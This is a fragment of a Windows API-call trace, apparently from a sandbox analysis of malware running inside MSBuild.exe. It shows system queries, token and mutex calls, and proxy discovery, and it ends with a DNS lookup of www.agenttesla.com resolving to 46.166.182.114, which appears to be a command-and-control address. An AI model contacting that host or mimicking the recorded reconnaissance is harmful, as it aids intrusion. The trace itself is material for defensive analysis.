lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x26e728, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0044.729] GetLastError () returned 0x3f0 [0044.729] SetErrorMode (uMode=0x1) returned 0x0 [0044.730] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x340 [0044.730] GetLastError () returned 0x0 [0044.730] GetFileType (hFile=0x340) returned 0x1 [0044.730] GetFileType (hFile=0x340) returned 0x1 [0044.730] ReadFile (in: hFile=0x340, lpBuffer=0x26432a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26ec4c, lpOverlapped=0x0 | out: lpBuffer=0x26432a8*, lpNumberOfBytesRead=0x26ec4c*=0x22f, lpOverlapped=0x0) returned 1 [0044.731] GetLastError () returned 0x0 [0044.757] ReadFile (in: hFile=0x340, lpBuffer=0x26432a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26eaf0, lpOverlapped=0x0 | out: lpBuffer=0x26432a8*, lpNumberOfBytesRead=0x26eaf0*=0x0, lpOverlapped=0x0) returned 1 [0044.757] GetLastError () returned 0x0 [0044.757] CloseHandle (hObject=0x340) returned 1 [0044.757] GetLastError () returned 0x0 [0044.757] GetCurrentProcess () returned 0xffffffff [0044.757] GetLastError () returned 0x3f0 [0044.757] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ef14 | out: TokenHandle=0x26ef14*=0x340) returned 1 [0044.757] GetLastError () returned 0x3f0 [0044.758] GetCurrentProcess () returned 0xffffffff [0044.758] GetLastError () returned 0x3f0 [0044.758] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ef14 | out: TokenHandle=0x26ef14*=0x344) returned 1 [0044.758] GetLastError () returned 0x3f0 [0044.773] GetCurrentProcess () returned 0xffffffff [0044.773] GetLastError () returned 0x3f0 [0044.773] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ecf0 | out: TokenHandle=0x26ecf0*=0x348) returned 1 [0044.773] GetLastError () returned 0x3f0 [0044.792] GetCurrentProcess () returned 0xffffffff [0044.792] GetLastError () returned 0x3f0 [0044.792] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ed00 | out: TokenHandle=0x26ed00*=0x34c) returned 1 [0044.792] GetLastError () returned 0x3f0 [0044.808] GetCurrentProcess () returned 0xffffffff [0044.808] GetLastError () returned 0x3f0 [0044.808] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ed54 | out: TokenHandle=0x26ed54*=0x350) returned 1 [0044.808] GetLastError () returned 0x3f0 [0044.814] GetCurrentProcess () returned 0xffffffff [0044.814] GetLastError () returned 0x3f0 [0044.815] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ed64 | out: TokenHandle=0x26ed64*=0x354) returned 1 [0044.815] GetLastError () returned 0x3f0 [0044.830] GetCurrentProcess () returned 0xffffffff [0044.830] GetLastError () returned 0x3f0 [0044.830] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ed28 | out: TokenHandle=0x26ed28*=0x358) returned 1 [0044.830] GetLastError () returned 0x3f0 [0044.831] GetCurrentProcess () returned 0xffffffff [0044.831] GetLastError () returned 0x3f0 [0044.831] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ed38 | out: TokenHandle=0x26ed38*=0x35c) returned 1 [0044.831] GetLastError () returned 0x3f0 [0044.833] GetCurrentProcess () returned 0xffffffff [0044.833] GetLastError () returned 0x3f0 [0044.833] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26f02c | out: TokenHandle=0x26f02c*=0x360) returned 1 [0044.833] GetLastError () returned 0x3f0 [0044.875] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x26e08c | out: phkResult=0x26e08c*=0x364) returned 0x0 [0044.875] RegQueryValueExW (in: hKey=0x364, lpValueName="InstallationType", lpReserved=0x0, lpType=0x26e0d4, lpData=0x0, lpcbData=0x26e0d0*=0x0 | out: lpType=0x26e0d4*=0x1, lpData=0x0, lpcbData=0x26e0d0*=0xe) returned 0x0 [0044.876] RegQueryValueExW (in: hKey=0x364, lpValueName="InstallationType", lpReserved=0x0, lpType=0x26e0d4, lpData=0x787820, lpcbData=0x26e0d0*=0xe | out: lpType=0x26e0d4*=0x1, lpData="Client", lpcbData=0x26e0d0*=0xe) returned 0x0 [0044.876] RegCloseKey (hKey=0x364) returned 0x0 [0044.905] RasEnumConnectionsW (in: param_1=0x7e93e0, param_2=0x26f0a4, param_3=0x26f0a8 | out: param_1=0x7e93e0, param_2=0x26f0a4, param_3=0x26f0a8) returned 0x0 [0045.039] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x787820 | out: lpWSAData=0x787820) returned 0 [0045.045] GetLastError () returned 0x0 [0045.050] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x3a4 [0045.240] GetLastError () returned 0x0 [0045.240] setsockopt (s=0x3a4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0045.240] GetLastError () returned 0x273a [0045.240] closesocket (s=0x3a4) returned 0 [0045.241] GetLastError () returned 0x0 [0045.241] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x3a4 [0045.261] GetLastError () returned 0x0 [0045.261] setsockopt (s=0x3a4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0045.261] GetLastError () returned 0x273a [0045.261] closesocket (s=0x3a4) returned 0 [0045.261] GetLastError () returned 0x0 [0045.264] GetCurrentProcess () returned 0xffffffff [0045.264] GetLastError () returned 0x3f0 [0045.264] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ec10 | out: TokenHandle=0x26ec10*=0x3a4) returned 1 [0045.264] GetLastError () returned 0x3f0 [0045.264] GetCurrentProcess () returned 0xffffffff [0045.264] GetLastError () returned 0x3f0 [0045.264] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ec20 | out: TokenHandle=0x26ec20*=0x3a8) returned 1 [0045.264] GetLastError () returned 0x3f0 [0045.274] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", nBufferLength=0x105, lpBuffer=0x26ea1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe", lpFilePart=0x0) returned 0x39 [0045.274] GetLastError () returned 0x3f0 [0045.275] GetCurrentProcessId () returned 0xb18 [0045.277] GetComputerNameW (in: lpBuffer=0x787820, nSize=0x2651454 | out: lpBuffer="XDUWTFONO", nSize=0x2651454) returned 1 [0045.278] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x26ee74 | out: phkResult=0x26ee74*=0x3ac) returned 0x0 [0045.278] RegQueryValueExW (in: hKey=0x3ac, lpValueName="Library", lpReserved=0x0, lpType=0x26eebc, lpData=0x0, lpcbData=0x26eeb8*=0x0 | out: lpType=0x26eebc*=0x1, lpData=0x0, lpcbData=0x26eeb8*=0x1c) returned 0x0 [0045.278] RegQueryValueExW (in: hKey=0x3ac, lpValueName="Library", lpReserved=0x0, lpType=0x26eebc, lpData=0x787820, lpcbData=0x26eeb8*=0x1c | out: lpType=0x26eebc*=0x1, lpData="netfxperf.dll", lpcbData=0x26eeb8*=0x1c) returned 0x0 [0045.278] RegQueryValueExW (in: hKey=0x3ac, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x26eebc, lpData=0x0, lpcbData=0x26eeb8*=0x0 | out: lpType=0x26eebc*=0x4, lpData=0x0, lpcbData=0x26eeb8*=0x4) returned 0x0 [0045.280] RegQueryValueExW (in: hKey=0x3ac, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x26eebc, lpData=0x26eea8, lpcbData=0x26eeb8*=0x4 | out: lpType=0x26eebc*=0x4, lpData=0x26eea8*=0x1, lpcbData=0x26eeb8*=0x4) returned 0x0 [0045.280] RegQueryValueExW (in: hKey=0x3ac, lpValueName="First Counter", lpReserved=0x0, lpType=0x26eebc, lpData=0x0, lpcbData=0x26eeb8*=0x0 | out: lpType=0x26eebc*=0x4, lpData=0x0, lpcbData=0x26eeb8*=0x4) returned 0x0 [0045.280] RegQueryValueExW (in: hKey=0x3ac, lpValueName="First Counter", lpReserved=0x0, lpType=0x26eebc, lpData=0x26eea8, lpcbData=0x26eeb8*=0x4 | out: lpType=0x26eebc*=0x4, lpData=0x26eea8*=0x137a, lpcbData=0x26eeb8*=0x4) returned 0x0 [0045.280] RegCloseKey (hKey=0x3ac) returned 0x0 [0045.281] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x26ee70 | out: phkResult=0x26ee70*=0x3ac) returned 0x0 [0045.281] RegQueryValueExW (in: hKey=0x3ac, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x26eeb8, lpData=0x0, lpcbData=0x26eeb4*=0x0 | out: lpType=0x26eeb8*=0x4, lpData=0x0, lpcbData=0x26eeb4*=0x4) returned 0x0 [0045.281] RegQueryValueExW (in: hKey=0x3ac, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x26eeb8, lpData=0x26eea4, lpcbData=0x26eeb4*=0x4 | out: lpType=0x26eeb8*=0x4, lpData=0x26eea4*=0x3, lpcbData=0x26eeb4*=0x4) returned 0x0 [0045.281] RegQueryValueExW (in: hKey=0x3ac, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x26eeb8, lpData=0x0, lpcbData=0x26eeb4*=0x0 | out: lpType=0x26eeb8*=0x4, lpData=0x0, lpcbData=0x26eeb4*=0x4) returned 0x0 [0045.281] RegQueryValueExW (in: hKey=0x3ac, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x26eeb8, lpData=0x26eea4, lpcbData=0x26eeb4*=0x4 | out: lpType=0x26eeb8*=0x4, lpData=0x26eea4*=0x20000, lpcbData=0x26eeb4*=0x4) returned 0x0 [0045.281] RegQueryValueExW (in: hKey=0x3ac, lpValueName="Counter Names", lpReserved=0x0, lpType=0x26eeb8, lpData=0x0, lpcbData=0x26eeb4*=0x0 | out: lpType=0x26eeb8*=0x3, lpData=0x0, lpcbData=0x26eeb4*=0xaa) returned 0x0 [0045.281] RegQueryValueExW (in: hKey=0x3ac, lpValueName="Counter Names", lpReserved=0x0, lpType=0x26eeb8, lpData=0x2653b9c, lpcbData=0x26eeb4*=0xaa | out: lpType=0x26eeb8*=0x3, lpData=0x2653b9c*, lpcbData=0x26eeb4*=0xaa) returned 0x0 [0045.285] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0045.287] GetLastError () returned 0x0 [0045.292] VirtualQuery (in: lpAddress=0x6e0000, lpBuffer=0x26ee88, dwLength=0x1c | out: lpBuffer=0x26ee88*(BaseAddress=0x6e0000, AllocationBase=0x6e0000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c [0045.292] GetLastError () returned 0x0 [0045.292] LocalFree (hMem=0x7bdd68) returned 0x0 [0045.292] RegCloseKey (hKey=0x3ac) returned 0x0 [0045.294] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2654644, cbSid=0x26ee68 | out: pSid=0x2654644*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee68) returned 1 [0045.294] GetLastError () returned 0x0 [0045.296] CreateMutexW (lpMutexAttributes=0x2654794, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.296] GetLastError () returned 0x0 [0045.297] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2654968, cbSid=0x26ee28 | out: pSid=0x2654968*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee28) returned 1 [0045.297] GetLastError () returned 0x0 [0045.297] CreateMutexW (lpMutexAttributes=0x2654a78, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0 [0045.297] GetLastError () returned 0x5 [0045.301] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x3b4 [0045.301] GetLastError () returned 0x5 [0045.301] CloseHandle (hObject=0x3b4) returned 1 [0045.301] GetLastError () returned 0x5 [0045.301] GetCurrentProcessId () returned 0xb18 [0045.303] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb18) returned 0x3b4 [0045.303] GetLastError () returned 0x5 [0045.305] GetProcessTimes (in: hProcess=0x3b4, lpCreationTime=0x26ee2c, lpExitTime=0x26ee24, lpKernelTime=0x26ee24, lpUserTime=0x26ee24 | out: lpCreationTime=0x26ee2c, lpExitTime=0x26ee24, lpKernelTime=0x26ee24, lpUserTime=0x26ee24) returned 1 [0045.305] GetLastError () returned 0x5 [0045.305] CloseHandle (hObject=0x3b4) returned 1 [0045.305] GetLastError () returned 0x5 [0045.305] CloseHandle (hObject=0x3ac) returned 1 [0045.306] GetLastError () returned 0x5 [0045.306] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2655388, cbSid=0x26ee68 | out: pSid=0x2655388*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee68) returned 1 [0045.306] GetLastError () returned 0x5 [0045.306] CreateMutexW (lpMutexAttributes=0x2655498, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.306] GetLastError () returned 0x0 [0045.308] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2655d6c, cbSid=0x26ee68 | out: pSid=0x2655d6c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee68) returned 1 [0045.308] GetLastError () returned 0x0 [0045.309] CreateMutexW (lpMutexAttributes=0x2655e7c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.309] GetLastError () returned 0x0 [0045.309] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2656608, cbSid=0x26ee68 | out: pSid=0x2656608*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee68) returned 1 [0045.309] GetLastError () returned 0x0 [0045.309] CreateMutexW (lpMutexAttributes=0x2656718, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.309] GetLastError () returned 0x0 [0045.309] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2656e9c, cbSid=0x26ee68 | out: pSid=0x2656e9c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee68) returned 1 [0045.309] GetLastError () returned 0x0 [0045.309] CreateMutexW (lpMutexAttributes=0x2656fac, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.309] GetLastError () returned 0x0 [0045.309] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2657728, cbSid=0x26ee60 | out: pSid=0x2657728*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee60) returned 1 [0045.309] GetLastError () returned 0x0 [0045.309] CreateMutexW (lpMutexAttributes=0x2657838, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.310] GetLastError () returned 0x0 [0045.310] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2657fc0, cbSid=0x26ee60 | out: pSid=0x2657fc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee60) returned 1 [0045.310] GetLastError () returned 0x0 [0045.310] CreateMutexW (lpMutexAttributes=0x26580d0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.310] GetLastError () returned 0x0 [0045.310] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2658834, cbSid=0x26ee60 | out: pSid=0x2658834*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee60) returned 1 [0045.310] GetLastError () returned 0x0 [0045.310] CreateMutexW (lpMutexAttributes=0x2658944, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.310] GetLastError () returned 0x0 [0045.310] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x26590b8, cbSid=0x26ee60 | out: pSid=0x26590b8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee60) returned 1 [0045.310] GetLastError () returned 0x0 [0045.310] CreateMutexW (lpMutexAttributes=0x26591c8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.310] GetLastError () returned 0x0 [0045.310] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2659934, cbSid=0x26ee60 | out: pSid=0x2659934*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x26ee60) returned 1 [0045.311] GetLastError () returned 0x0 [0045.311] CreateMutexW (lpMutexAttributes=0x2659a44, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ac [0045.311] GetLastError () returned 0x0 [0045.312] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3ac [0045.312] GetLastError () returned 0x0 [0045.312] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b4 [0045.312] GetLastError () returned 0x0 [0045.313] ioctlsocket (in: s=0x3ac, cmd=-2147195266, argp=0x26f0ac | out: argp=0x26f0ac) returned 0 [0045.314] GetLastError () returned 0x0 [0045.314] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3b8 [0045.315] GetLastError () returned 0x0 [0045.315] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3bc [0045.315] GetLastError () returned 0x0 [0045.315] ioctlsocket (in: s=0x3b8, cmd=-2147195266, argp=0x26f0ac | out: argp=0x26f0ac) returned 0 [0045.315] GetLastError () returned 0x0 [0045.316] WSAIoctl (in: s=0x3ac, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x26f090, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x26f090, lpOverlapped=0x0) returned -1 [0045.316] GetLastError () returned 0x2733 [0045.317] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x787820, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0045.318] GetLastError () returned 0x2733 [0045.319] WSAEventSelect (s=0x3ac, hEventObject=0x3b4, lNetworkEvents=512) returned 0 [0045.319] GetLastError () returned 0x0 [0045.319] WSAIoctl (in: s=0x3b8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x26f090, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x26f090, lpOverlapped=0x0) returned -1 [0045.319] GetLastError () returned 0x2733 [0045.319] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x787820, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0045.319] GetLastError () returned 0x2733 [0045.319] WSAEventSelect (s=0x3b8, hEventObject=0x3bc, lNetworkEvents=512) returned 0 [0045.319] GetLastError () returned 0x0 [0045.320] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c0 [0045.320] GetLastError () returned 0x0 [0045.321] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x3c0, param_3=0x3) returned 0x0 [0045.326] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x26f074 | out: phkResult=0x26f074*=0x3d8) returned 0x0 [0045.326] GetLastError () returned 0x0 [0045.327] RegOpenKeyExW (in: hKey=0x3d8, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x26f030 | out: phkResult=0x26f030*=0x3dc) returned 0x0 [0045.327] GetLastError () returned 0x0 [0045.328] RegNotifyChangeKeyValue (hKey=0x3dc, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3e0, fAsynchronous=1) returned 0x0 [0045.328] GetLastError () returned 0x0 [0045.329] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x26f030 | out: phkResult=0x26f030*=0x3e4) returned 0x0 [0045.329] GetLastError () returned 0x0 [0045.329] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3e8 [0045.329] GetLastError () returned 0x0 [0045.329] RegNotifyChangeKeyValue (hKey=0x3e4, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3e8, fAsynchronous=1) returned 0x0 [0045.329] GetLastError () returned 0x0 [0045.329] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x26f030 | out: phkResult=0x26f030*=0x3ec) returned 0x0 [0045.330] GetLastError () returned 0x0 [0045.330] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f0 [0045.330] GetLastError () returned 0x0 [0045.330] RegNotifyChangeKeyValue (hKey=0x3ec, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3f0, fAsynchronous=1) returned 0x0 [0045.330] GetLastError () returned 0x0 [0045.330] GetCurrentProcess () returned 0xffffffff [0045.330] GetLastError () returned 0x3f0 [0045.330] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26f018 | out: TokenHandle=0x26f018*=0x3f4) returned 1 [0045.330] GetLastError () returned 0x3f0 [0045.337] GetCurrentProcess () returned 0xffffffff [0045.337] GetLastError () returned 0x3f0 [0045.337] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ec34 | out: TokenHandle=0x26ec34*=0x40c) returned 1 [0045.337] GetLastError () returned 0x3f0 [0045.337] GetCurrentProcess () returned 0xffffffff [0045.337] GetLastError () returned 0x3f0 [0045.337] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ec44 | out: TokenHandle=0x26ec44*=0x410) returned 1 [0045.338] GetLastError () returned 0x3f0 [0045.397] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x787820 | out: pProxyConfig=0x787820) returned 1 [0045.918] GetLastError () returned 0x0 [0045.933] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efd4*=0x3c0, lpdwindex=0x26ed8c | out: lpdwindex=0x26ed8c) returned 0x80010115 [0045.934] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efb4*=0x3b4, lpdwindex=0x26ed6c | out: lpdwindex=0x26ed6c) returned 0x80010115 [0045.935] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efb4*=0x3bc, lpdwindex=0x26ed6c | out: lpdwindex=0x26ed6c) returned 0x80010115 [0045.935] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26f008*=0x3e0, lpdwindex=0x26edc0 | out: lpdwindex=0x26edc0) returned 0x80010115 [0045.935] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26f008*=0x3e8, lpdwindex=0x26edc0 | out: lpdwindex=0x26edc0) returned 0x80010115 [0045.935] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26f008*=0x3f0, lpdwindex=0x26edc0 | out: lpdwindex=0x26edc0) returned 0x80010115 [0045.940] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x26eff4 | out: ppwstrAutoConfigUrl=0x26eff4*=0x0) returned 0 [0045.956] GetLastError () returned 0x2f94 [0045.957] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x26eff4 | out: ppwstrAutoConfigUrl=0x26eff4*=0x0) returned 0 [0048.844] GetLastError () returned 0x2f94 [0048.853] GetCurrentProcess () returned 0xffffffff [0048.853] GetLastError () returned 0x3f0 [0048.853] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26ec94 | out: TokenHandle=0x26ec94*=0x44c) returned 1 [0048.853] GetLastError () returned 0x3f0 [0048.854] GetCurrentProcess () returned 0xffffffff [0048.854] GetLastError () returned 0x3f0 [0048.854] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x26eca4 | out: TokenHandle=0x26eca4*=0x430) returned 1 [0048.854] GetLastError () returned 0x3f0 [0048.866] GetACP () returned 0x4e4 [0048.882] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x26eff4 | out: pFixedInfo=0x0, pOutBufLen=0x26eff4) returned 0x6f [0048.904] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x792a70 [0048.904] GetLastError () returned 0x0 [0048.904] GetNetworkParams (in: pFixedInfo=0x792a70, pOutBufLen=0x26eff4 | out: pFixedInfo=0x792a70, pOutBufLen=0x26eff4) returned 0x0 [0048.920] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0048.921] GetLastError () returned 0x0 [0048.923] LocalFree (hMem=0x792a70) returned 0x0 [0048.923] GetLastError () returned 0x0 [0048.926] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0048.927] GetLastError () returned 0x0 [0048.927] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0048.927] GetLastError () returned 0x0 [0048.930] getaddrinfo (in: pNodeName="www.agenttesla.com", pServiceName=0x0, pHints=0x26eed0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x26ec64 | out: ppResult=0x26ec64*=0x50449a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.agenttesla.com", ai_addr=0x50449c8*(sa_family=2, sin_port=0x0, sin_addr="46.166.182.114"), ai_next=0x0)) returned 0 [0050.586] 